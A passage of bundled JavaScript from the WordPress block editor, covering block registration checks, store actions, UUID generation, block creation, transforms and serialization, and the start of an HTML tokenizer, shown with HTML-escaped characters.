      (0, import_warning2.default)(&#039;The &quot;save&quot; property must be a valid function.&#039;);
      return;
    }
    if (&quot;edit&quot; in settings &amp;&amp; !(0, import_react_is.isValidElementType)(settings.edit)) {
      (0, import_warning2.default)(&#039;The &quot;edit&quot; property must be a valid component.&#039;);
      return;
    }
    if (LEGACY_CATEGORY_MAPPING.hasOwnProperty(settings.category)) {
      settings.category = LEGACY_CATEGORY_MAPPING[settings.category];
    }
    if (&quot;category&quot; in settings &amp;&amp; !select3.getCategories().some(
      ({ slug }) =&gt; slug === settings.category
    )) {
      (0, import_warning2.default)(
        &#039;The block &quot;&#039; + name + &#039;&quot; is registered with an invalid category &quot;&#039; + settings.category + &#039;&quot;.&#039;
      );
      delete settings.category;
    }
    if (!(&quot;title&quot; in settings) || settings.title === &quot;&quot;) {
      (0, import_warning2.default)(&#039;The block &quot;&#039; + name + &#039;&quot; must have a title.&#039;);
      return;
    }
    if (typeof settings.title !== &quot;string&quot;) {
      (0, import_warning2.default)(&quot;Block titles must be strings.&quot;);
      return;
    }
    settings.icon = normalizeIconObject(settings.icon);
    if (!isValidIcon(settings.icon.src)) {
      (0, import_warning2.default)(
        &quot;The icon passed is invalid. The icon should be a string, an element, a function, or an object following the specifications documented in https://developer.wordpress.org/block-editor/developers/block-api/block-registration/#icon-optional&quot;
      );
      return;
    }
    if (typeof settings?.parent === &quot;string&quot; || settings?.parent instanceof String) {
      settings.parent = [settings.parent];
      (0, import_warning2.default)(
        &quot;Parent must be undefined or an array of strings (block types), but it is a string.&quot;
      );
    }
    if (!Array.isArray(settings?.parent) &amp;&amp; settings?.parent !== void 0) {
      (0, import_warning2.default)(
        &quot;Parent must be undefined or an array of block types, but it is &quot; + settings.parent
      );
      return;
    }
    if (1 === settings?.parent?.length &amp;&amp; name === settings.parent[0]) {
      (0, import_warning2.default)(
        &#039;Block &quot;&#039; + name + &#039;&quot; cannot be a parent of itself. Please remove the block name from the parent list.&#039;
      );
      return;
    }
    return settings;
  };

  // packages/blocks/build-module/store/actions.mjs
  function addBlockTypes(blockTypes2) {
    return {
      type: &quot;ADD_BLOCK_TYPES&quot;,
      blockTypes: Array.isArray(blockTypes2) ? blockTypes2 : [blockTypes2]
    };
  }
  function reapplyBlockTypeFilters() {
    return ({ dispatch: dispatch3, select: select3 }) =&gt; {
      const processedBlockTypes = [];
      for (const [name, settings] of Object.entries(
        select3.getUnprocessedBlockTypes()
      )) {
        const result = dispatch3(processBlockType(name, settings));
        if (result) {
          processedBlockTypes.push(result);
        }
      }
      if (!processedBlockTypes.length) {
        return;
      }
      dispatch3.addBlockTypes(processedBlockTypes);
    };
  }
  function __experimentalReapplyBlockFilters() {
    (0, import_deprecated5.default)(
      &#039;wp.data.dispatch( &quot;core/blocks&quot; ).__experimentalReapplyBlockFilters&#039;,
      {
        since: &quot;6.4&quot;,
        alternative: &quot;reapplyBlockFilters&quot;
      }
    );
    return reapplyBlockTypeFilters();
  }
  function removeBlockTypes(names) {
    return {
      type: &quot;REMOVE_BLOCK_TYPES&quot;,
      names: Array.isArray(names) ? names : [names]
    };
  }
  function addBlockStyles(blockNames, styles) {
    return {
      type: &quot;ADD_BLOCK_STYLES&quot;,
      styles: Array.isArray(styles) ? styles : [styles],
      blockNames: Array.isArray(blockNames) ? blockNames : [blockNames]
    };
  }
  function removeBlockStyles(blockName, styleNames) {
    return {
      type: &quot;REMOVE_BLOCK_STYLES&quot;,
      styleNames: Array.isArray(styleNames) ? styleNames : [styleNames],
      blockName
    };
  }
  function addBlockVariations(blockName, variations) {
    return {
      type: &quot;ADD_BLOCK_VARIATIONS&quot;,
      variations: Array.isArray(variations) ? variations : [variations],
      blockName
    };
  }
  function removeBlockVariations(blockName, variationNames) {
    return {
      type: &quot;REMOVE_BLOCK_VARIATIONS&quot;,
      variationNames: Array.isArray(variationNames) ? variationNames : [variationNames],
      blockName
    };
  }
  function setDefaultBlockName2(name) {
    return {
      type: &quot;SET_DEFAULT_BLOCK_NAME&quot;,
      name
    };
  }
  function setFreeformFallbackBlockName(name) {
    return {
      type: &quot;SET_FREEFORM_FALLBACK_BLOCK_NAME&quot;,
      name
    };
  }
  function setUnregisteredFallbackBlockName(name) {
    return {
      type: &quot;SET_UNREGISTERED_FALLBACK_BLOCK_NAME&quot;,
      name
    };
  }
  function setGroupingBlockName2(name) {
    return {
      type: &quot;SET_GROUPING_BLOCK_NAME&quot;,
      name
    };
  }
  function setCategories(categories2) {
    return {
      type: &quot;SET_CATEGORIES&quot;,
      categories: categories2
    };
  }
  function updateCategory(slug, category) {
    return {
      type: &quot;UPDATE_CATEGORY&quot;,
      slug,
      category
    };
  }
  function addBlockCollection(namespace, title, icon) {
    return {
      type: &quot;ADD_BLOCK_COLLECTION&quot;,
      namespace,
      title,
      icon
    };
  }
  function removeBlockCollection(namespace) {
    return {
      type: &quot;REMOVE_BLOCK_COLLECTION&quot;,
      namespace
    };
  }

  // packages/blocks/build-module/store/private-actions.mjs
  var private_actions_exports = {};
  __export(private_actions_exports, {
    addBlockBindingsSource: () =&gt; addBlockBindingsSource,
    addBootstrappedBlockType: () =&gt; addBootstrappedBlockType,
    addUnprocessedBlockType: () =&gt; addUnprocessedBlockType,
    removeBlockBindingsSource: () =&gt; removeBlockBindingsSource
  });
  function addBootstrappedBlockType(name, blockType) {
    return {
      type: &quot;ADD_BOOTSTRAPPED_BLOCK_TYPE&quot;,
      name,
      blockType
    };
  }
  function addUnprocessedBlockType(name, blockType) {
    return ({ dispatch: dispatch3 }) =&gt; {
      dispatch3({ type: &quot;ADD_UNPROCESSED_BLOCK_TYPE&quot;, name, blockType });
      const processedBlockType = dispatch3(
        processBlockType(name, blockType)
      );
      if (!processedBlockType) {
        return;
      }
      dispatch3.addBlockTypes(processedBlockType);
    };
  }
  function addBlockBindingsSource(source) {
    return {
      type: &quot;ADD_BLOCK_BINDINGS_SOURCE&quot;,
      name: source.name,
      label: source.label,
      usesContext: source.usesContext,
      getValues: source.getValues,
      setValues: source.setValues,
      canUserEditValue: source.canUserEditValue,
      getFieldsList: source.getFieldsList
    };
  }
  function removeBlockBindingsSource(name) {
    return {
      type: &quot;REMOVE_BLOCK_BINDINGS_SOURCE&quot;,
      name
    };
  }

  // packages/blocks/build-module/store/constants.mjs
  var STORE_NAME = &quot;core/blocks&quot;;

  // packages/blocks/build-module/store/index.mjs
  var store = (0, import_data5.createReduxStore)(STORE_NAME, {
    reducer: reducer_default,
    selectors: selectors_exports,
    actions: actions_exports
  });
  (0, import_data5.register)(store);
  unlock(store).registerPrivateSelectors(private_selectors_exports);
  unlock(store).registerPrivateActions(private_actions_exports);

  // node_modules/uuid/dist/stringify.js
  var byteToHex = [];
  for (let i2 = 0; i2 &lt; 256; ++i2) {
    byteToHex.push((i2 + 256).toString(16).slice(1));
  }
  function unsafeStringify(arr, offset = 0) {
    return (byteToHex[arr[offset + 0]] + byteToHex[arr[offset + 1]] + byteToHex[arr[offset + 2]] + byteToHex[arr[offset + 3]] + &quot;-&quot; + byteToHex[arr[offset + 4]] + byteToHex[arr[offset + 5]] + &quot;-&quot; + byteToHex[arr[offset + 6]] + byteToHex[arr[offset + 7]] + &quot;-&quot; + byteToHex[arr[offset + 8]] + byteToHex[arr[offset + 9]] + &quot;-&quot; + byteToHex[arr[offset + 10]] + byteToHex[arr[offset + 11]] + byteToHex[arr[offset + 12]] + byteToHex[arr[offset + 13]] + byteToHex[arr[offset + 14]] + byteToHex[arr[offset + 15]]).toLowerCase();
  }

  // node_modules/uuid/dist/rng.js
  var rnds8 = new Uint8Array(16);
  function rng() {
    return crypto.getRandomValues(rnds8);
  }

  // node_modules/uuid/dist/v4.js
  function v4(options, buf, offset) {
    if (!buf &amp;&amp; !options &amp;&amp; crypto.randomUUID) {
      return crypto.randomUUID();
    }
    return _v4(options, buf, offset);
  }
  function _v4(options, buf, offset) {
    options = options || {};
    const rnds = options.random ?? options.rng?.() ?? rng();
    if (rnds.length &lt; 16) {
      throw new Error(&quot;Random bytes length must be &gt;= 16&quot;);
    }
    rnds[6] = rnds[6] &amp; 15 | 64;
    rnds[8] = rnds[8] &amp; 63 | 128;
    if (buf) {
      offset = offset || 0;
      if (offset &lt; 0 || offset + 16 &gt; buf.length) {
        throw new RangeError(`UUID byte range ${offset}:${offset + 15} is out of buffer bounds`);
      }
      for (let i2 = 0; i2 &lt; 16; ++i2) {
        buf[offset + i2] = rnds[i2];
      }
      return buf;
    }
    return unsafeStringify(rnds);
  }
  var v4_default = v4;

  // packages/blocks/build-module/api/factory.mjs
  var import_hooks2 = __toESM(require_hooks(), 1);
  var import_deprecated6 = __toESM(require_deprecated(), 1);
  var import_warning3 = __toESM(require_warning(), 1);
  var getBlockTypeWithTransformMetadata = (blockType, transform) =&gt; transform.variationName ? { ...blockType, variationName: transform.variationName } : blockType;
  function createBlock(name, attributes = {}, innerBlocks = [], innerContent) {
    if (!isBlockRegistered(name)) {
      return createBlock(&quot;core/missing&quot;, {
        originalName: name,
        originalContent: &quot;&quot;,
        originalUndelimitedContent: &quot;&quot;
      });
    }
    const sanitizedAttributes = sanitizeBlockAttributes(name, attributes);
    const clientId = v4_default();
    const block = {
      clientId,
      name,
      isValid: true,
      attributes: sanitizedAttributes,
      innerBlocks
    };
    if (innerContent) {
      if (name === &quot;core/html&quot;) {
        block.innerContent = innerContent;
      } else {
        (0, import_warning3.default)(
          `The innerContent argument passed to createBlock for the &quot;${name}&quot; block was ignored. Only the Custom HTML block stores static inner content.`
        );
      }
    }
    return block;
  }
  function createBlocksFromInnerBlocksTemplate(innerBlocksOrTemplate = []) {
    return innerBlocksOrTemplate.map((innerBlock) =&gt; {
      const innerBlockTemplate = Array.isArray(innerBlock) ? innerBlock : [
        innerBlock.name,
        innerBlock.attributes,
        innerBlock.innerBlocks,
        innerBlock.innerContent
      ];
      const [name, attributes, innerBlocks = [], innerContent] = innerBlockTemplate;
      return createBlock(
        name,
        attributes,
        createBlocksFromInnerBlocksTemplate(
          innerBlocks
        ),
        innerContent
      );
    });
  }
  function cloneSanitizedBlock(block, mergeAttributes = {}, newInnerBlocks) {
    const { name } = block;
    if (!isBlockRegistered(name)) {
      return createBlock(&quot;core/missing&quot;, {
        originalName: name,
        originalContent: &quot;&quot;,
        originalUndelimitedContent: &quot;&quot;
      });
    }
    const clientId = v4_default();
    const sanitizedAttributes = sanitizeBlockAttributes(name, {
      ...block.attributes,
      ...mergeAttributes
    });
    return {
      ...block,
      clientId,
      attributes: sanitizedAttributes,
      innerBlocks: newInnerBlocks || block.innerBlocks.map(
        (innerBlock) =&gt; cloneSanitizedBlock(innerBlock)
      )
    };
  }
  function __experimentalCloneSanitizedBlock(block, mergeAttributes = {}, newInnerBlocks) {
    (0, import_deprecated6.default)(&quot;__experimentalCloneSanitizedBlock&quot;, {
      since: &quot;7.1&quot;,
      alternative: &quot;cloneSanitizedBlock&quot;
    });
    return cloneSanitizedBlock(block, mergeAttributes, newInnerBlocks);
  }
  function cloneBlock(block, mergeAttributes = {}, newInnerBlocks) {
    const clientId = v4_default();
    return {
      ...block,
      clientId,
      attributes: {
        ...block.attributes,
        ...mergeAttributes
      },
      innerBlocks: newInnerBlocks || block.innerBlocks.map((innerBlock) =&gt; cloneBlock(innerBlock))
    };
  }
  var isPossibleTransformForSource = (transform, direction, blocks) =&gt; {
    if (!blocks.length) {
      return false;
    }
    const isMultiBlock = blocks.length &gt; 1;
    const firstBlockName = blocks[0].name;
    const isValidForMultiBlocks = isWildcardBlockTransform(transform) || !isMultiBlock || transform.isMultiBlock;
    if (!isValidForMultiBlocks) {
      return false;
    }
    if (!isWildcardBlockTransform(transform) &amp;&amp; !blocks.every((block) =&gt; block.name === firstBlockName)) {
      return false;
    }
    const isBlockType = transform.type === &quot;block&quot;;
    if (!isBlockType) {
      return false;
    }
    const sourceBlock = blocks[0];
    const hasMatchingName = direction !== &quot;from&quot; || transform.blocks.indexOf(sourceBlock.name) !== -1 || isWildcardBlockTransform(transform);
    if (!hasMatchingName) {
      return false;
    }
    if (!isMultiBlock &amp;&amp; direction === &quot;from&quot; &amp;&amp; isContainerGroupBlock(sourceBlock.name) &amp;&amp; isContainerGroupBlock(transform.blockName)) {
      return false;
    }
    if (!maybeCheckTransformIsMatch(transform, blocks)) {
      return false;
    }
    return true;
  };
  var getBlockTypesForPossibleFromTransforms = (blocks) =&gt; {
    if (!blocks.length) {
      return [];
    }
    const allBlockTypes = getBlockTypes();
    const blockTypesWithPossibleFromTransforms = allBlockTypes.flatMap(
      (blockType) =&gt; {
        const fromTransforms = getBlockTransforms(&quot;from&quot;, blockType.name);
        return fromTransforms.filter(
          (transform) =&gt; isPossibleTransformForSource(transform, &quot;from&quot;, blocks)
        ).map(
          (transform) =&gt; getBlockTypeWithTransformMetadata(blockType, transform)
        );
      }
    );
    return blockTypesWithPossibleFromTransforms;
  };
  var getBlockTypesForPossibleToTransforms = (blocks) =&gt; {
    if (!blocks.length) {
      return [];
    }
    const sourceBlock = blocks[0];
    const blockType = getBlockType(sourceBlock.name);
    const transformsTo = blockType ? getBlockTransforms(&quot;to&quot;, blockType.name) : [];
    const possibleTransforms = transformsTo.filter((transform) =&gt; {
      return transform &amp;&amp; isPossibleTransformForSource(transform, &quot;to&quot;, blocks);
    });
    return possibleTransforms.flatMap((transformation) =&gt; {
      return (transformation.blocks || []).map((name) =&gt; {
        const transformedBlockType = getBlockType(name);
        return transformedBlockType ? getBlockTypeWithTransformMetadata(
          transformedBlockType,
          transformation
        ) : void 0;
      });
    }).filter((bt) =&gt; !!bt);
  };
  var isWildcardBlockTransform = (t3) =&gt; !!t3 &amp;&amp; t3.type === &quot;block&quot; &amp;&amp; Array.isArray(t3.blocks) &amp;&amp; t3.blocks.includes(&quot;*&quot;);
  var isContainerGroupBlock = (name) =&gt; name === getGroupingBlockName();
  function getPossibleBlockTransformations(blocks) {
    if (!blocks.length) {
      return [];
    }
    const blockTypesForFromTransforms = getBlockTypesForPossibleFromTransforms(blocks);
    const blockTypesForToTransforms = getBlockTypesForPossibleToTransforms(blocks);
    const blockTypesByNameAndVariation = /* @__PURE__ */ new Map();
    for (const blockType of [
      ...blockTypesForFromTransforms,
      ...blockTypesForToTransforms
    ]) {
      const key = blockType.variationName ? `${blockType.name}/${blockType.variationName}` : blockType.name;
      if (!blockTypesByNameAndVariation.has(key)) {
        blockTypesByNameAndVariation.set(key, blockType);
      }
    }
    return [...blockTypesByNameAndVariation.values()];
  }
  function findTransform(transforms, predicate) {
    const hooks = (0, import_hooks2.createHooks)();
    for (let i2 = 0; i2 &lt; transforms.length; i2++) {
      const candidate = transforms[i2];
      if (predicate(candidate)) {
        hooks.addFilter(
          &quot;transform&quot;,
          &quot;transform/&quot; + i2.toString(),
          (result) =&gt; result ? result : candidate,
          candidate.priority
        );
      }
    }
    return hooks.applyFilters(&quot;transform&quot;, null);
  }
  function getBlockTransforms(direction, blockTypeOrName) {
    if (blockTypeOrName === void 0) {
      return getBlockTypes().map(({ name }) =&gt; getBlockTransforms(direction, name)).flat();
    }
    const blockType = normalizeBlockType(blockTypeOrName);
    const { name: blockName, transforms } = blockType || {};
    const directionTransforms = transforms?.[direction];
    if (!transforms || !Array.isArray(directionTransforms)) {
      return [];
    }
    const usingMobileTransformations = transforms.supportedMobileTransforms &amp;&amp; Array.isArray(transforms.supportedMobileTransforms);
    const filteredTransforms = usingMobileTransformations ? directionTransforms.filter((t3) =&gt; {
      if (t3.type === &quot;raw&quot;) {
        return true;
      }
      if (t3.type === &quot;prefix&quot;) {
        return true;
      }
      if (!t3.blocks || !t3.blocks.length) {
        return false;
      }
      if (isWildcardBlockTransform(t3)) {
        return true;
      }
      return t3.blocks.every(
        (transformBlockName) =&gt; transforms.supportedMobileTransforms.includes(
          transformBlockName
        )
      );
    }) : directionTransforms;
    return filteredTransforms.map((transform) =&gt; ({
      ...transform,
      blockName,
      usingMobileTransformations
    }));
  }
  function maybeCheckTransformIsMatch(transform, blocks) {
    if (typeof transform.isMatch !== &quot;function&quot;) {
      return true;
    }
    const sourceBlock = blocks[0];
    const attributes = transform.isMultiBlock ? blocks.map((block2) =&gt; block2.attributes) : sourceBlock.attributes;
    const block = transform.isMultiBlock ? blocks : sourceBlock;
    return transform.isMatch(attributes, block);
  }
  function switchToBlockType(blocks, name, variationName) {
    const blocksArray = Array.isArray(blocks) ? blocks : [blocks];
    const isMultiBlock = blocksArray.length &gt; 1;
    const firstBlock = blocksArray[0];
    const sourceName = firstBlock.name;
    const transformationsFrom = getBlockTransforms(&quot;from&quot;, name);
    const transformationsTo = getBlockTransforms(&quot;to&quot;, sourceName);
    const isMatchingVariation = (t3) =&gt; variationName ? t3.variationName === variationName : !t3.variationName;
    const transformation = findTransform(
      transformationsTo,
      (t3) =&gt; t3.type === &quot;block&quot; &amp;&amp; isMatchingVariation(t3) &amp;&amp; (isWildcardBlockTransform(t3) || t3.blocks.indexOf(name) !== -1) &amp;&amp; (!isMultiBlock || !!t3.isMultiBlock) &amp;&amp; maybeCheckTransformIsMatch(t3, blocksArray)
    ) || findTransform(
      transformationsFrom,
      (t3) =&gt; t3.type === &quot;block&quot; &amp;&amp; isMatchingVariation(t3) &amp;&amp; (isWildcardBlockTransform(t3) || t3.blocks.indexOf(sourceName) !== -1) &amp;&amp; (!isMultiBlock || !!t3.isMultiBlock) &amp;&amp; maybeCheckTransformIsMatch(t3, blocksArray)
    );
    if (!transformation) {
      return null;
    }
    let transformationResults;
    if (transformation.isMultiBlock) {
      if (&quot;__experimentalConvert&quot; in transformation) {
        transformationResults = transformation.__experimentalConvert(blocksArray);
      } else {
        transformationResults = transformation.transform(
          blocksArray.map((currentBlock) =&gt; currentBlock.attributes),
          blocksArray.map((currentBlock) =&gt; currentBlock.innerBlocks)
        );
      }
    } else if (&quot;__experimentalConvert&quot; in transformation) {
      transformationResults = transformation.__experimentalConvert(firstBlock);
    } else {
      transformationResults = transformation.transform(
        firstBlock.attributes,
        firstBlock.innerBlocks
      );
    }
    if (transformationResults === null || typeof transformationResults !== &quot;object&quot;) {
      return null;
    }
    transformationResults = Array.isArray(transformationResults) ? transformationResults : [transformationResults];
    if (transformationResults.some(
      (result) =&gt; !getBlockType(result.name)
    )) {
      return null;
    }
    const hasSwitchedBlock = transformationResults.some(
      (result) =&gt; result.name === name
    );
    if (!hasSwitchedBlock) {
      return null;
    }
    const ret = transformationResults.map((result, index, results) =&gt; {
      return (0, import_hooks2.applyFilters)(
        &quot;blocks.switchToBlockType.transformedBlock&quot;,
        result,
        blocks,
        index,
        results
      );
    });
    return ret;
  }
  var getBlockFromExample = (name, example) =&gt; createBlock(
    name,
    example.attributes,
    (example.innerBlocks ?? []).map(
      (innerBlock) =&gt; getBlockFromExample(innerBlock.name, innerBlock)
    ),
    example.innerContent
  );

  // packages/blocks/build-module/api/parser/index.mjs
  var import_block_serialization_default_parser = __toESM(require_block_serialization_default_parser(), 1);
  var import_autop2 = __toESM(require_autop(), 1);

  // packages/blocks/build-module/api/serializer.mjs
  var import_element2 = __toESM(require_element(), 1);
  var import_hooks3 = __toESM(require_hooks(), 1);
  var import_is_shallow_equal = __toESM(require_is_shallow_equal(), 1);
  var import_autop = __toESM(require_autop(), 1);
  var import_deprecated7 = __toESM(require_deprecated(), 1);

  // packages/blocks/build-module/api/parser/serialize-raw-block.mjs
  function serializeRawBlock(rawBlock, options = {}) {
    const { isCommentDelimited = true } = options;
    const {
      blockName,
      attrs = {},
      innerBlocks = [],
      innerContent = []
    } = rawBlock;
    let childIndex = 0;
    const content = innerContent.map(
      (item) =&gt; (
        // `null` denotes a nested block, otherwise we have an HTML fragment.
        item !== null ? item : serializeRawBlock(innerBlocks[childIndex++], options)
      )
    ).join(&quot;\n&quot;).replace(/\n+/g, &quot;\n&quot;).trim();
    return isCommentDelimited ? getCommentDelimitedContent(blockName ?? void 0, attrs, content) : content;
  }

  // packages/blocks/build-module/api/serializer.mjs
  var import_jsx_runtime = __toESM(require_jsx_runtime(), 1);
  function getBlockDefaultClassName(blockName) {
    const className = &quot;wp-block-&quot; + blockName.replace(/\//, &quot;-&quot;).replace(/^core-/, &quot;&quot;);
    return (0, import_hooks3.applyFilters)(
      &quot;blocks.getBlockDefaultClassName&quot;,
      className,
      blockName
    );
  }
  function getBlockMenuDefaultClassName(blockName) {
    const className = &quot;editor-block-list-item-&quot; + blockName.replace(/\//, &quot;-&quot;).replace(/^core-/, &quot;&quot;);
    return (0, import_hooks3.applyFilters)(
      &quot;blocks.getBlockMenuDefaultClassName&quot;,
      className,
      blockName
    );
  }
  var blockPropsProvider = {};
  var innerBlocksPropsProvider = {};
  function getBlockProps(props = {}) {
    const { blockType, attributes } = blockPropsProvider;
    return getBlockProps.skipFilters ? props : (0, import_hooks3.applyFilters)(
      &quot;blocks.getSaveContent.extraProps&quot;,
      { ...props },
      blockType,
      attributes
    );
  }
  function getInnerBlocksProps(props = {}) {
    const { innerBlocks } = innerBlocksPropsProvider;
    if (!Array.isArray(innerBlocks)) {
      return { ...props, children: innerBlocks };
    }
    const html2 = serialize(innerBlocks, { isInnerBlocks: true });
    const children = /* @__PURE__ */ (0, import_jsx_runtime.jsx)(import_element2.RawHTML, { children: html2 });
    return { ...props, children };
  }
  function getSaveElement(blockTypeOrName, attributes, innerBlocks = []) {
    const blockType = normalizeBlockType(blockTypeOrName);
    if (!blockType?.save) {
      return null;
    }
    let save = blockType.save;
    if (save.prototype instanceof import_element2.Component) {
      const SaveClass = save;
      const instance = new SaveClass({ attributes });
      save = instance.render.bind(instance);
    }
    blockPropsProvider.blockType = blockType;
    blockPropsProvider.attributes = attributes;
    innerBlocksPropsProvider.innerBlocks = innerBlocks;
    let element = save({
      attributes,
      innerBlocks
    });
    if (element !== null &amp;&amp; typeof element === &quot;object&quot; &amp;&amp; (0, import_hooks3.hasFilter)(&quot;blocks.getSaveContent.extraProps&quot;) &amp;&amp; !((blockType.apiVersion ?? 0) &gt; 1)) {
      const props = (0, import_hooks3.applyFilters)(
        &quot;blocks.getSaveContent.extraProps&quot;,
        { ...element.props },
        blockType,
        attributes
      );
      if (!(0, import_is_shallow_equal.isShallowEqual)(props, element.props)) {
        element = (0, import_element2.cloneElement)(
          element,
          props
        );
      }
    }
    return (0, import_hooks3.applyFilters)(
      &quot;blocks.getSaveElement&quot;,
      element,
      blockType,
      attributes
    );
  }
  function getSaveContent(blockTypeOrName, attributes, innerBlocks) {
    const blockType = normalizeBlockType(
      blockTypeOrName
    );
    if (!blockType) {
      return &quot;&quot;;
    }
    return (0, import_element2.renderToString)(
      getSaveElement(blockType, attributes, innerBlocks)
    );
  }
  function getCommentAttributes(blockType, attributes) {
    return Object.entries(blockType.attributes ?? {}).reduce(
      (accumulator, [key, attributeSchema]) =&gt; {
        const value = attributes[key];
        if (void 0 === value) {
          return accumulator;
        }
        if (attributeSchema.source !== void 0) {
          return accumulator;
        }
        if (attributeSchema.role === &quot;local&quot;) {
          return accumulator;
        }
        if (attributeSchema.__experimentalRole === &quot;local&quot;) {
          (0, import_deprecated7.default)(&quot;__experimentalRole attribute&quot;, {
            since: &quot;6.7&quot;,
            version: &quot;6.8&quot;,
            alternative: &quot;role attribute&quot;,
            hint: `Check the block.json of the ${blockType?.name} block.`
          });
          return accumulator;
        }
        if (&quot;default&quot; in attributeSchema &amp;&amp; JSON.stringify(attributeSchema.default) === JSON.stringify(value)) {
          return accumulator;
        }
        accumulator[key] = value;
        return accumulator;
      },
      {}
    );
  }
  function serializeAttributes(attributes) {
    return JSON.stringify(attributes).replaceAll(&quot;\\\\&quot;, &quot;\\u005c&quot;).replaceAll(&quot;--&quot;, &quot;\\u002d\\u002d&quot;).replaceAll(&quot;&lt;&quot;, &quot;\\u003c&quot;).replaceAll(&quot;&gt;&quot;, &quot;\\u003e&quot;).replaceAll(&quot;&amp;&quot;, &quot;\\u0026&quot;).replaceAll(&#039;\\&quot;&#039;, &quot;\\u0022&quot;);
  }
  function serializeInnerContent(innerContent, innerBlocks) {
    let childIndex = 0;
    const parts = innerContent.map((item) =&gt; {
      if (item !== null) {
        return item;
      }
      const innerBlock = innerBlocks[childIndex++];
      return innerBlock ? serializeBlock(innerBlock, { isInnerBlocks: true }) : &quot;&quot;;
    });
    for (; childIndex &lt; innerBlocks.length; childIndex++) {
      parts.push(
        serializeBlock(innerBlocks[childIndex], { isInnerBlocks: true })
      );
    }
    return parts.join(&quot;&quot;).trim();
  }
  function getBlockInnerHTML(block) {
    if (block.innerContent &amp;&amp; block.name === &quot;core/html&quot;) {
      return serializeInnerContent(block.innerContent, block.innerBlocks);
    }
    let saveContent = block.originalContent ?? &quot;&quot;;
    if (block.isValid || block.innerBlocks.length) {
      try {
        saveContent = getSaveContent(
          block.name,
          block.attributes,
          block.innerBlocks
        );
      } catch {
      }
    }
    return saveContent;
  }
  function getCommentDelimitedContent(rawBlockName, attributes, content) {
    const serializedAttributes = attributes &amp;&amp; Object.entries(attributes).length ? serializeAttributes(attributes) + &quot; &quot; : &quot;&quot;;
    const blockName = rawBlockName?.startsWith(&quot;core/&quot;) ? rawBlockName.slice(5) : rawBlockName;
    if (!content) {
      return `&lt;!-- wp:${blockName} ${serializedAttributes}/--&gt;`;
    }
    return `&lt;!-- wp:${blockName} ${serializedAttributes}--&gt;
` + content + `
&lt;!-- /wp:${blockName} --&gt;`;
  }
  function serializeBlock(block, { isInnerBlocks = false } = {}) {
    if (!block.isValid &amp;&amp; block.__unstableBlockSource) {
      return serializeRawBlock(block.__unstableBlockSource);
    }
    const blockName = block.name;
    const saveContent = getBlockInnerHTML(block);
    if (blockName === getUnregisteredTypeHandlerName() || !isInnerBlocks &amp;&amp; blockName === getFreeformContentHandlerName()) {
      return saveContent;
    }
    const blockType = getBlockType(blockName);
    if (!blockType) {
      return saveContent;
    }
    const saveAttributes = getCommentAttributes(blockType, block.attributes);
    return getCommentDelimitedContent(blockName, saveAttributes, saveContent);
  }
  var __unstableSerializeAndClean = /* @__PURE__ */ (() =&gt; {
    const cache = /* @__PURE__ */ new WeakMap();
    return (blocks) =&gt; {
      const cached = cache.get(blocks);
      if (cached !== void 0) {
        return cached;
      }
      let effectiveBlocks = blocks;
      if (effectiveBlocks.length === 1 &amp;&amp; isUnmodifiedDefaultBlock(effectiveBlocks[0])) {
        effectiveBlocks = [];
      }
      let content = serialize(effectiveBlocks);
      if (effectiveBlocks.length === 1 &amp;&amp; effectiveBlocks[0].name === getFreeformContentHandlerName() &amp;&amp; effectiveBlocks[0].name === &quot;core/freeform&quot;) {
        content = (0, import_autop.removep)(content);
      }
      cache.set(blocks, content);
      return content;
    };
  })();
  function serialize(blocks, options) {
    const blocksArray = Array.isArray(blocks) ? blocks : [blocks];
    return blocksArray.map((block) =&gt; serializeBlock(block, options)).join(&quot;\n\n&quot;);
  }

  // node_modules/simple-html-tokenizer/dist/es6/index.js
  var HEXCHARCODE = /^#[xX]([A-Fa-f0-9]+)$/;
  var CHARCODE = /^#([0-9]+)$/;
  var NAMED = /^([A-Za-z0-9]+)$/;
  var EntityParser = (
    /** @class */
    (function() {
      function EntityParser2(named) {
        this.named = named;
      }
      EntityParser2.prototype.parse = function(entity) {
        if (!entity) {
          return;
        }
        var matches = entity.match(HEXCHARCODE);
        if (matches) {
          return String.fromCharCode(parseInt(matches[1], 16));
        }
        matches = entity.match(CHARCODE);
        if (matches) {
          return String.fromCharCode(parseInt(matches[1], 10));
        }
        matches = entity.match(NAMED);
        if (matches) {
          return this.named[matches[1]];
        }
      };
      return EntityParser2;
    })()
  );
  var WSP = /[\t\n\f ]/;
  var ALPHA = /[A-Za-z]/;
  var CRLF = /\r\n?/g;
  function isSpace(char) {
    return WSP.test(char);
  }
  function isAlpha(char) {
    return ALPHA.test(char);
  }
  function preprocessInput(input) {
    return input.replace(CRLF, &quot;\n&quot;);
  }
  var EventedTokenizer = (
    /** @class */
    (function() {
      function EventedTokenizer2(delegate, entityParser) {
        this.delegate = delegate;
        this.entityParser = entityParser;
        this.state = &quot;beforeData&quot;;
        this.line = -1;
        this.column = -1;
        this.input = &quot;&quot;;
        this.index = -1;
        this.tagNameBuffer = &quot;&quot;;
        this.states = {
          beforeData: function() {
            var char = this.peek();
            if (char === &quot;&lt;&quot;) {
              this.transitionTo(
                &quot;tagOpen&quot;
                /* tagOpen */
              );
              this.markTagStart();
              this.consume();
            } else {
              if (char === &quot;\n&quot;) {
                var tag = this.tagNameBuffer.toLowerCase();
                if (tag === &quot;pre&quot; || tag === &quot;textarea&quot;) {
                  this.consume();
                }
              }
              this.transitionTo(
                &quot;data&quot;
                /* data */
              );
              this.delegate.beginData();
            }
          },
          data: function() {
            var char = this.peek();
            if (char === &quot;&lt;&quot;) {
              this.delegate.finishData();
              this.transitionTo(
                &quot;tagOpen&quot;
                /* tagOpen */
              );
              this.markTagStart();
              this.consume();
            } else if (char === &quot;&amp;&quot;) {
              this.consume();
              this.delegate.appendToData(this.consumeCharRef() || &quot;&amp;&quot;);
            } else {
              this.consume();
              this.delegate.appendToData(char);
            }
          },
          tagOpen: function() {
            var char = this.consume();
            if (char === &quot;!&quot;) {
              this.transitionTo(
                &quot;markupDeclarationOpen&quot;
                /* markupDeclarationOpen */
              );
            } else if (char === &quot;/&quot;) {
              this.transitionTo(
                &quot;endTagOpen&quot;
                /* endTagOpen */
              );
            } else if (char === &quot;@&quot; || char === &quot;:&quot; || isAlpha(char)) {
              this.transitionTo(
                &quot;tagName&quot;
                /* tagName */
              );
              this.tagNameBuffer = &quot;&quot;;
              this.delegate.beginStartTag();
              this.appendToTagName(char);
            }
          },
          markupDeclarationOpen: function() {
            var char = this.consume();
            if (char === &quot;-&quot; &amp;&amp; this.input.charAt(this.index) === &quot;-&quot;) {
              this.consume();
              this.transitionTo(
